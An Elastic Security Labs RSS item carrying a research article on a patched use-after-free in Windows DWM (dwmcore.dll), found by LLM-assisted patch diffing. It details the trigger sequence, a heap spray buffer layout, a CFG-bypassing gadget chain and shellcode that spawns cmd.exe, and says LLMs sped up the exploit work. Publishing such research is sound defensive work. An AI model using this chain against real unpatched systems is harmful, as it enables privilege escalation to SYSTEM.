<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Joe Desimone</title>
        <link>https://www.elastic.co/es/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 12 Mar 2026 18:55:41 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Joe Desimone</title>
            <url>https://www.elastic.co/es/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/es/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Patch diff to SYSTEM]]></title>
            <link>https://www.elastic.co/es/security-labs/patch-diff-to-system</link>
            <guid>patch-diff-to-system</guid>
            <pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Leveraging LLMs and patch diffing, this research details a Use-After-Free vulnerability in Windows DWM, demonstrating a reliable exploit that achieves escalation from low-privileged user permissions to SYSTEM.]]></description>
            <content:encoded><![CDATA[<h2>Intro</h2>
<p>Patch diffing has long fascinated me. I think part of it has to do with the race against the clock, reversing, exploiting, and trying to attain that “1day” exploit status. For advanced Windows targets, Valentina Palmiotti and Ruben Boonen <a href="https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock">proved</a> that this was already possible nearly 3 years ago. But, they are some of the world's most talented exploit devs. Can LLMs raise the capability floor for us mere mortals? Fortunately, and maybe a bit alarmingly, the answer is yes.</p>
<h2>The Hunt</h2>
<p>When the bulletin for the January 2026 Patch Tuesday dropped, I kicked off my search to identify one of the patched vulnerabilities, and (hopefully) develop a working exploit for it. Top on the <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jan">target list</a> were any vulnerabilities already known to be exploited in the wild. January patches included an in-the-wild information leak <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20805">vulnerability</a> in Desktop Window Manager (DWM), which caught my eye. It also included a second DWM vulnerability which could lead to local privilege escalation. Historically, DWM has been a <a href="https://www.elastic.co/es/security-labs/itw-windows-lpe-0days-insights-and-detection-strategies">popular target</a> for local privilege escalation. Sometimes it can be tricky to identify the exact patched component, but for DWM, dwmcore.dll is always a safe bet.</p>
<p>After training Ghidra on the files and extracting BSim vectors for every function, it becomes quite easy to highlight the differences between them. Not to mention, many Microsoft-patched vulnerabilities come alongside new feature flags. Needless to say, Opus 4.5 made quick work of the diff and identified one of the vulnerabilities within minutes.</p>
<pre><code>======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================
</code></pre>
<p>From here, I have to say that the time to build a functional exploit was painfully slower than I would have hoped. I spent many long nights and weekends poking and prodding the model along. A lot of this came down to my own unfamiliarity with the bug class and subsystem. Eventually, we did prevail and get RCE from low privilege into DWM and to SYSTEM. In the process, I discovered multiple novel exploitation techniques, like the GetRECT spray, new gadget chains, and a DWM-to-SYSTEM path. However, with these techniques (and some other tooling) in hand and newer model releases like Opus 4.6, the time from discovering a UAF vulnerability in DWM to functional exploit dropped from 3 weeks to a matter of hours.</p>
<h2>The Bug</h2>
<p>The vulnerability is a Use-After-Free in <code>CSynchronousSuperWetInk::~CSynchronousSuperWetInk</code>. The destructor conditionally removes the object from <code>CSuperWetInkManager</code> based on the return value of <code>IsSuperWetCompatible()</code>.</p>
<pre><code class="language-c">void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this-&gt;vtable = &amp;_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this-&gt;composition-&gt;superWetInkManager, this);
    }
    // ... cleanup continues
}
</code></pre>
<p><em>The vulnerable destructor in dwmcore.dll version 10.0.26100.7309.</em></p>
<h3>IsSuperWetCompatible Condition</h3>
<pre><code class="language-c">bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this-&gt;LookupMode == 2 || this-&gt;notifier1 != NULL) &amp;&amp;
        this-&gt;clipEntry != NULL &amp;&amp; this-&gt;comObject != NULL) {
        return true;
    }
    return false;
}
</code></pre>
<p><em>The IsSuperWetCompatible condition in dwmcore.dll version 10.0.26100.7309.</em></p>
<p>The function returns <code>true</code> only when <code>LookupMode</code> equals 2, or <code>notifier1</code> is set, AND both <code>clipEntry</code> and <code>comObject</code> are non-null.</p>
<h3>The Bug</h3>
<p>An attacker can:</p>
<ol>
<li>Register a <code>CSynchronousSuperWetInk</code> with the manager (requires <code>LookupMode=2</code> during <code>Draw()</code>)</li>
<li>Change <code>LookupMode</code> to 0 via <code>CMD_SET_PROPERTY</code></li>
<li>Trigger destruction via <code>CMD_RELEASE_RESOURCE</code></li>
<li><code>IsSuperWetCompatible()</code> returns FALSE → <code>RemoveSource()</code> is <strong>skipped</strong></li>
<li>A dangling pointer remains in <code>CSuperWetInkManager::localStrokesVector</code></li>
</ol>
<p>When DWM later iterates this vector (e.g., in <code>DirtyActiveInk</code>), it dereferences the freed object's vtable, leading to controlled code execution.</p>
<h3>The Fix</h3>
<p>The patch adds a feature flag (<code>Feature_1732988217</code>). When enabled, <code>RemoveSource()</code> is called <strong>unconditionally</strong>, regardless of <code>IsSuperWetCompatible()</code>. This ensures the object is always properly unregistered from the manager during destruction, eliminating the dangling pointer.</p>
<pre><code class="language-c">void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &amp;_vftable_;
    bool bVar2 = wil::details::FeatureImpl&lt;Feature_1732988217&gt;::__private_IsEnabled(&amp;impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}
</code></pre>
<p><em>The fixed destructor in dwmcore.dll version 10.0.26100.7623.</em></p>
<h2>The Exploit</h2>
<p>The UAF can be triggered from a regular user-mode application via the <a href="https://learn.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal">DirectComposition API</a>. The attack requires no special privileges.</p>
<h3>Prerequisites</h3>
<ol>
<li><strong>D3D11/DXGI Infrastructure</strong>: Create a D3D11 device with BGRA support and a swap chain for a visible window.</li>
<li><strong>DirectComposition Device</strong>: Initialize via <code>DCompositionCreateDevice()</code> with the DXGI device.</li>
<li><strong>NtDComposition Syscall Access</strong>: Hook or directly call <code>NtDCompositionProcessChannelBatchBuffer</code> and <code>NtDCompositionCommitChannel</code> via <code>win32u.dll</code> to inject raw batch buffer commands.</li>
</ol>
<h3>Trigger Sequence</h3>
<h4>Step 1: Create Ink Trail (Allocate CSynchronousSuperWetInk)</h4>
<p>Query <code>IDCompositionInkTrailDevice</code> from the DirectComposition device, then call <code>CreateDelegatedInkTrailForSwapChain()</code> or <code>CreateDelegatedInkTrail()</code>. This allocates a <code>CSynchronousSuperWetInk</code> object (resource type <code>0xa8</code>) in dwm.exe's heap.</p>
<h4>Step 2: Create Visual and Set LookupMode=2</h4>
<p>Inject batch buffer commands to:</p>
<ol>
<li>Create a <code>CSuperWetInkVisual</code> (type <code>0xa5</code>) with <code>CMD_CREATE_RESOURCE</code> (0x02)</li>
<li>Connect visual to ink source: <code>CMD_SET_REFERENCE</code> (0x10) with propId <code>0x34</code></li>
<li>Set <code>LookupMode=2</code> on the ink source via <code>CMD_SET_PROPERTY</code> (0x0B) with propId <code>10</code></li>
<li>Connect to composition tree: <code>CMD_SET_REFERENCE</code> to handles 1 and 2 (composition target / marshaler) with propId <code>0x34</code></li>
</ol>
<p>LookupMode=2 ensures <code>IsSuperWetCompatible()</code> returns TRUE during <code>Draw()</code>, which registers the object with <code>CSuperWetInkManager::localStrokesVector</code>.</p>
<h4>Step 3: Render Frames to Register with Manager</h4>
<p>Present multiple frames (<code>IDXGISwapChain::Present</code>) and commit DirectComposition changes. This triggers DWM's render loop, which calls into the ink infrastructure and registers the <code>CSynchronousSuperWetInk</code> pointer in the manager's internal vector.</p>
<h4>Step 4: Set LookupMode=0 (Bypass Removal Check)</h4>
<p>Inject <code>CMD_SET_PROPERTY</code> to change <code>LookupMode</code> to <code>0</code>. Now <code>IsSuperWetCompatible()</code> will return FALSE because:</p>
<pre><code class="language-c">if ((this-&gt;LookupMode == 2 || this-&gt;notifier1 != NULL) &amp;&amp; ...)
</code></pre>
<p>With <code>LookupMode</code> = 0 and no notifier, the first condition fails.</p>
<h4>Step 5: Release Ink Trail (Create Dangling Pointer)</h4>
<ol>
<li>Disconnect visual references: <code>CMD_SET_REFERENCE</code> with refHandle=0 for all connections</li>
<li>Release the <code>IDCompositionDelegatedInkTrail</code> interface</li>
</ol>
<p>When the destructor <code>~CSynchronousSuperWetInk</code> runs:</p>
<ul>
<li>It calls <code>IsSuperWetCompatible()</code> which returns <strong>FALSE</strong> (LookupMode=0)</li>
<li><code>RemoveSource()</code> is <strong>SKIPPED</strong></li>
<li>The object is freed but its pointer <strong>remains</strong> in <code>CSuperWetInkManager::localStrokesVector</code></li>
</ul>
<h4>Step 6: Trigger DirtyActiveInk (Use-After-Free)</h4>
<p>Continue presenting frames and invalidating the window. DWM's composition loop calls <code>CSuperWetInkManager::DirtyActiveInk()</code>, which iterates <code>localStrokesVector</code> and dereferences the dangling pointer:</p>
<pre><code class="language-c">pcVar2 = *(code **)((longlong)((CResource *)*puVar4)-&gt;vtable + 0x50);
</code></pre>
<h3>Crash Behavior</h3>
<p>Without a heap spray, DWM crashes when accessing freed memory:</p>
<pre><code> # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
</code></pre>
<p>If the freed memory is reclaimed by another object (e.g., <code>CInteractionTrackerScaleAnimation</code>), the crash occurs at an unexpected vtable:</p>
<pre><code>kd&gt; dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
</code></pre>
<p>By controlling what data reclaims the freed allocation, an attacker can craft a fake vtable and achieve arbitrary code execution via the virtual call at <code>vtable+0x50</code>.</p>
<h2>Heap Spray</h2>
<p>To exploit the UAF, we must reclaim the freed <code>CSynchronousSuperWetInk</code> allocation with attacker-controlled data containing a fake vtable. This section documents the CRegionGeometry RECT buffer spray technique we refer to as GetRECT.</p>
<h3>Target Object Properties</h3>
<table>
<thead>
<tr>
<th align="left">Property</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Object</td>
<td align="left"><code>CSynchronousSuperWetInk</code></td>
</tr>
<tr>
<td align="left">Size</td>
<td align="left">0x120 (288 bytes)</td>
</tr>
<tr>
<td align="left">Allocator</td>
<td align="left"><code>DefaultHeap::AllocClear</code> → <code>GetProcessHeap()</code></td>
</tr>
<tr>
<td align="left"><a href="https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap">LFH</a> Bucket</td>
<td align="left">34 (273-288 byte range)</td>
</tr>
<tr>
<td align="left">Slots per <a href="https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf">Subsegment</a></td>
<td align="left">57</td>
</tr>
</tbody>
</table>
<h3>Spray Primitive: CRegionGeometry RECT Buffer</h3>
<p>The spray uses <code>CRegionGeometry</code> resources (type <code>0x81</code>) with RECT array data:</p>
<table>
<thead>
<tr>
<th align="left">Property</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Resource Type</td>
<td align="left"><code>0x81</code> (CRegionGeometry)</td>
</tr>
<tr>
<td align="left">Spray Size</td>
<td align="left">18 RECTs × 16 bytes = <strong>288 bytes</strong></td>
</tr>
<tr>
<td align="left">Allocator</td>
<td align="left"><code>std::_Allocate&lt;16&gt;</code> → <code>HeapAlloc(GetProcessHeap(), 0, 288)</code></td>
</tr>
<tr>
<td align="left">LFH Bucket</td>
<td align="left">34, <strong>same as target</strong></td>
</tr>
<tr>
<td align="left">Content Control</td>
<td align="left">72 int32 values (18 RECTs × 4 fields)</td>
</tr>
</tbody>
</table>
<p><strong>Allocation Chain</strong>:</p>
<pre><code>dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate&lt;16&gt; → HeapAlloc(GetProcessHeap(), 0, 288)
</code></pre>
<p>The RECT buffer is written via <code>CMD_SET_BUFFER_PROPERTY</code> (0x0F) with propId <code>5</code>:</p>
<pre><code class="language-c">struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};
</code></pre>
<h3>RECT Layout for Fake Object</h3>
<p>The 18 RECTs (288 bytes) provide full control over the reclaimed memory:</p>
<pre><code class="language-c">struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
</code></pre>
<p>Helper to write 64-bit values into adjacent RECT fields:</p>
<pre><code class="language-c">static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val &amp; 0xFFFFFFFF);
    *hi = (int32_t)(val &gt;&gt; 32);
}
</code></pre>
<h3>Exploitation Primitive</h3>
<p>The UAF gives us a <strong>controlled vtable call with RCX pointing to our sprayed object</strong>. When <code>DirtyActiveInk</code> iterates the dangling pointer:</p>
<pre><code class="language-c">pcVar2 = *(code **)((longlong)((CResource *)*puVar4)-&gt;vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray
</code></pre>
<p><strong>Call site stack:</strong></p>
<pre><code>00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
</code></pre>
<p><strong>Register state at dispatch:</strong></p>
<ul>
<li><code>RCX</code> = pointer to sprayed object (our controlled 288 bytes)</li>
<li><code>RIP</code> = <code>[[spray]+0x50]</code> (function pointer from fake vtable)</li>
</ul>
<h3>Target Function Constraints</h3>
<p>There are initially two restrictions on what we can call:</p>
<ol>
<li>The target must be <strong>in the CFG bitmap</strong> (marked as valid call target)</li>
<li>The target must have a <strong>pointer to it</strong> (in IAT, vtable, or other readable memory)</li>
</ol>
<p>We cannot directly call arbitrary addresses; only functions that satisfy both conditions.</p>
<h3>Gadget Chain: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect</h3>
<p>With the UAF giving us a controlled vtable call (<code>RIP = [[spray]+0x50]</code>, <code>RCX = spray</code>), the remaining challenge is chaining CFG-valid gadgets to achieve arbitrary code execution. Direct shellcode execution is blocked by CFG, and we have no heap address leak. We developed a novel gadget chain that solves both problems to achieve code execution, but it required 2 successful exploit attempts, lowering the reliability. Therefore, we pivoted to a <a href="https://ti.qianxin.com/blog/articles/public-secret-research-on-the-cve-2024-30051-privilege-escalation-vulnerability-in-the-wild-en/">known public</a> technique using two Windows system DLL gadgets: <code>__fnINSTRING</code> (user32.dll) and <code>CStdAsyncStubBuffer2_Disconnect</code> (combase.dll).</p>
<h4>Stage 1: __fnINSTRING - Kernel Callback Dispatch Without a Leak</h4>
<p>The Windows kernel communicates back to user mode through the <code>KernelCallbackTable</code> (KCT), a function pointer table stored in the PEB at offset <code>+0x58</code>. Each entry points to a <code>__fn*</code> handler in <code>user32.dll</code>. These functions are CFG-valid call targets and have pointers to them in readable memory (the KCT itself), satisfying both constraints.</p>
<p>We point the fake vtable at <code>&amp;KCT[fnINSTRING_index] - 0x50</code>. When DirtyActiveInk dereferences <code>[[spray]+0x50]</code>, it reads the KCT entry and dispatches to <code>__fnINSTRING</code>:</p>
<pre><code>[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &amp;__fnINSTRING
</code></pre>
<p>What makes this useful is what <code>__fnINSTRING</code> does internally. It treats its argument (our spray buffer) as a <code>_CAPTUREBUF</code> structure and calls <code>FixupCallbackPointers</code> before dispatching the inner function. <code>FixupCallbackPointers</code> reads a fixup table from the buffer and converts relative offsets into absolute addresses by adding the buffer's base address:</p>
<pre><code class="language-c">// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf-&gt;guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf-&gt;fixupTableOffset);
    for (int i = 0; i &lt; buf-&gt;fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}
</code></pre>
<p>This eliminates the need for a heap address leak. We embed relative offsets in the spray buffer, and <code>FixupCallbackPointers</code> patches them to absolute pointers at runtime using the buffer's own address. After fixup, <code>__fnINSTRING</code> dispatches the inner function pointer at <code>+0x48</code> with the arguments at <code>+0x28</code> (RCX), <code>+0x30</code> (EDX), <code>+0x38</code> (R8), and <code>+0x50</code> (R9).</p>
<p>We set the inner function to <code>CStdAsyncStubBuffer2_Disconnect</code>.</p>
<h4>Stage 2: CStdAsyncStubBuffer2_Disconnect - Two Chained Vtable Calls</h4>
<p><code>CStdAsyncStubBuffer2_Disconnect</code> is exported from <code>combase.dll</code>, making it CFG-valid with a stable address. Its disassembly reveals a useful primitive: two sequential vtable dispatches with preserved argument registers:</p>
<pre><code>; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -&gt; fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET
</code></pre>
<p><code>RDX</code>, <code>R8</code>, and <code>R9</code> are <strong>preserved through both calls</strong>, arriving untouched from <code>__fnINSTRING</code>'s argument setup. This gives us full control over the first three arguments to both vtable calls.</p>
<h4>Vtable Call #1: VirtualProtect → RWX</h4>
<p>We construct a self-referential fake object at <code>+0xC8</code> in the spray buffer: <code>[+0xC8]</code> points to itself (after fixup), so dereferencing <code>[RCX] → [RCX+0x20]</code> reads <code>VirtualProtect</code>'s address from <code>+0xE8</code>. The arguments (preserved from <code>__fnINSTRING</code> dispatch) are:</p>
<table>
<thead>
<tr>
<th align="left">Register</th>
<th align="left">Value</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">RCX</td>
<td align="left">base+0xC8 (fake_obj_1)</td>
<td align="left">lpAddress (start of spray buffer region)</td>
</tr>
<tr>
<td align="left">RDX</td>
<td align="left">0x1000</td>
<td align="left">dwSize</td>
</tr>
<tr>
<td align="left">R8</td>
<td align="left">0x40</td>
<td align="left">flNewProtect (<code>PAGE_EXECUTE_READWRITE</code>)</td>
</tr>
<tr>
<td align="left">R9</td>
<td align="left">base+0xC0</td>
<td align="left">lpflOldProtect (output slot in spray buffer)</td>
</tr>
</tbody>
</table>
<p>After this call, the spray buffer's memory page is marked RWX, and the CFG bitmap is updated to allow execution from this region.</p>
<h4>Vtable Call #2: Inline Shellcode</h4>
<p>After VirtualProtect returns, Disconnect loads <code>[this+0x10]</code> into RCX for the second vtable dispatch:</p>
<pre><code>XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0
</code></pre>
<p>The pointer chain resolves step by step:</p>
<ol>
<li><code>[this+0x10]</code> = <code>[base+0x90]</code> = <code>base+0xA0</code> (fake_obj_2)</li>
<li><code>[RCX]</code> = <code>[base+0xA0]</code> = <code>base+0xA8</code>, fake_obj_2's vtable pointer (after fixup)</li>
<li><code>[RAX+0x10]</code> = <code>[base+0xB8]</code> = <code>base+0xD0</code>, vtable_2's third entry, pointing at our shellcode</li>
</ol>
<p>The final <code>CALL guard_dispatch_icall</code> dispatches to <code>base+0xD0</code>, our inline shellcode, now both executable and CFG-valid thanks to the preceding VirtualProtect call.</p>
<h5>Shellcode Layout</h5>
<p>The shellcode is split into two phases because the VirtualProtect address data sits at <code>+0xE8</code> (used as <code>vtable_1[0x20]</code> by call #1), creating a gap in the middle of our executable region:</p>
<p><strong>Phase 1 (+0xD0, 22 bytes):</strong> Saves <code>RCX</code> (base+0xA0) into <code>RBX</code> for later address arithmetic, allocates shadow space, loads <code>SW_SHOW</code> (5) into <code>RDX</code>, loads the absolute address of <code>WinExec</code> via <code>movabs RAX</code>, then jumps over the 8-byte data gap at <code>+0xE8</code>:</p>
<pre><code>mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, &lt;WinExec addr&gt; ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0
</code></pre>
<p><strong>Phase 2 (+0xF0):</strong> Calls <code>WinExec</code> with a <code>RIP</code>-relative pointer to the <code>&quot;cmd.exe\0&quot;</code> string embedded at the end of the shellcode, defuses the spray for safe re-entry, then performs a stack fixup to return directly to DWM's composition loop:</p>
<pre><code>lea  rcx, [rip+0x22]      ; rcx = &amp;&quot;cmd.exe&quot;
call rax                   ; WinExec(&quot;cmd.exe&quot;, SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; &quot;cmd.exe\0&quot; embedded here
</code></pre>
<p>The <code>add rsp, 0xB8</code> improves reliability. A naive <code>add rsp, 0x28</code> would return into <code>CStdAsyncStubBuffer2_Disconnect</code>, which would then return into <code>__fnINSTRING</code>, which calls <code>NtCallbackReturn</code>. This kernel callback return path can be fragile in the context of a hijacked call. By adding an extra <code>0x90</code> to the stack adjustment, the shellcode skips past both intermediate frames entirely and returns directly to <code>DirtyActiveInk</code>'s caller in the DWM composition loop.</p>
<h4>Safe Re-entry: Defusing the Spray</h4>
<p>DWM's <code>DirtyActiveInk</code> may iterate the dangling pointer more than once. Without defusing, each re-entry would re-trigger the full chain and crash. The shellcode rewrites the spray's vtable pointer so that subsequent dereferences take a harmless path:</p>
<ol>
<li><code>[base+0x00]</code> is overwritten to <code>base+0x08</code> (new fake vtable)</li>
<li><code>[base+0x58]</code> is overwritten to the address of a <code>ret</code> instruction</li>
</ol>
<p>On re-entry: <code>[[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret</code>. The vtable call returns immediately. <code>__fnINSTRING</code> is never re-invoked because the vtable no longer points at the KCT entry.</p>
<h3>Complete Spray Layout</h3>
<p>The full 288-byte spray buffer (18 RECTs) after <code>FixupCallbackPointers</code>:</p>
<table>
<thead>
<tr>
<th align="left">Offset</th>
<th align="left">Size</th>
<th align="left">Content</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">+0x00</td>
<td align="left">8</td>
<td align="left">KCT_entry - 0x50</td>
<td align="left">Fake vtable → <code>__fnINSTRING</code></td>
</tr>
<tr>
<td align="left">+0x08</td>
<td align="left">4</td>
<td align="left">8</td>
<td align="left">Fixup count</td>
</tr>
<tr>
<td align="left">+0x18</td>
<td align="left">4</td>
<td align="left">0x58</td>
<td align="left">Fixup table offset</td>
</tr>
<tr>
<td align="left">+0x20</td>
<td align="left">8</td>
<td align="left">base (fixup'd)</td>
<td align="left">Guard (blocks re-fixup)</td>
</tr>
<tr>
<td align="left">+0x28</td>
<td align="left">8</td>
<td align="left">base+0x80 (fixup'd)</td>
<td align="left">RCX → Disconnect <code>this</code></td>
</tr>
<tr>
<td align="left">+0x30</td>
<td align="left">4</td>
<td align="left">0x1000</td>
<td align="left">EDX → VirtualProtect <code>dwSize</code></td>
</tr>
<tr>
<td align="left">+0x38</td>
<td align="left">8</td>
<td align="left">0x40</td>
<td align="left">R8 → PAGE_EXECUTE_READWRITE</td>
</tr>
<tr>
<td align="left">+0x48</td>
<td align="left">8</td>
<td align="left">&amp;Disconnect</td>
<td align="left">Inner function pointer</td>
</tr>
<tr>
<td align="left">+0x50</td>
<td align="left">8</td>
<td align="left">base+0xC0 (fixup'd)</td>
<td align="left">R9 → <code>lpflOldProtect</code></td>
</tr>
<tr>
<td align="left">+0x58</td>
<td align="left">32</td>
<td align="left">fixup table (8 entries)</td>
<td align="left">Offsets to patch</td>
</tr>
<tr>
<td align="left">+0x78</td>
<td align="left">8</td>
<td align="left">base+0xC8 (fixup'd)</td>
<td align="left">[this-8] → fake_obj_1</td>
</tr>
<tr>
<td align="left">+0x80</td>
<td align="left">8</td>
<td align="left">(unused)</td>
<td align="left">Disconnect <code>this</code> base</td>
</tr>
<tr>
<td align="left">+0x90</td>
<td align="left">8</td>
<td align="left">base+0xA0 (fixup'd)</td>
<td align="left">[this+0x10] → fake_obj_2</td>
</tr>
<tr>
<td align="left">+0xA0</td>
<td align="left">8</td>
<td align="left">base+0xA8 (fixup'd)</td>
<td align="left">fake_obj_2 vtable</td>
</tr>
<tr>
<td align="left">+0xB8</td>
<td align="left">8</td>
<td align="left">base+0xD0 (fixup'd)</td>
<td align="left">vtable_2[0x10] → shellcode</td>
</tr>
<tr>
<td align="left">+0xC0</td>
<td align="left">4</td>
<td align="left">(output)</td>
<td align="left">VirtualProtect <code>lpflOldProtect</code></td>
</tr>
<tr>
<td align="left">+0xC8</td>
<td align="left">8</td>
<td align="left">base+0xC8 (fixup'd)</td>
<td align="left">Self-referential vtable (fake_obj_1)</td>
</tr>
<tr>
<td align="left">+0xD0</td>
<td align="left">22</td>
<td align="left">shellcode phase 1</td>
<td align="left">Save regs, load WinExec, jmp</td>
</tr>
<tr>
<td align="left">+0xE8</td>
<td align="left">8</td>
<td align="left">&amp;VirtualProtect</td>
<td align="left">vtable_1[0x20] data</td>
</tr>
<tr>
<td align="left">+0xF0</td>
<td align="left">48</td>
<td align="left">shellcode phase 2</td>
<td align="left">WinExec + defuse + stack fixup + &quot;cmd.exe\0&quot;</td>
</tr>
</tbody>
</table>
<h3>Full Chain Summary</h3>
<pre><code>DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec(&quot;cmd.exe&quot;, SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
</code></pre>
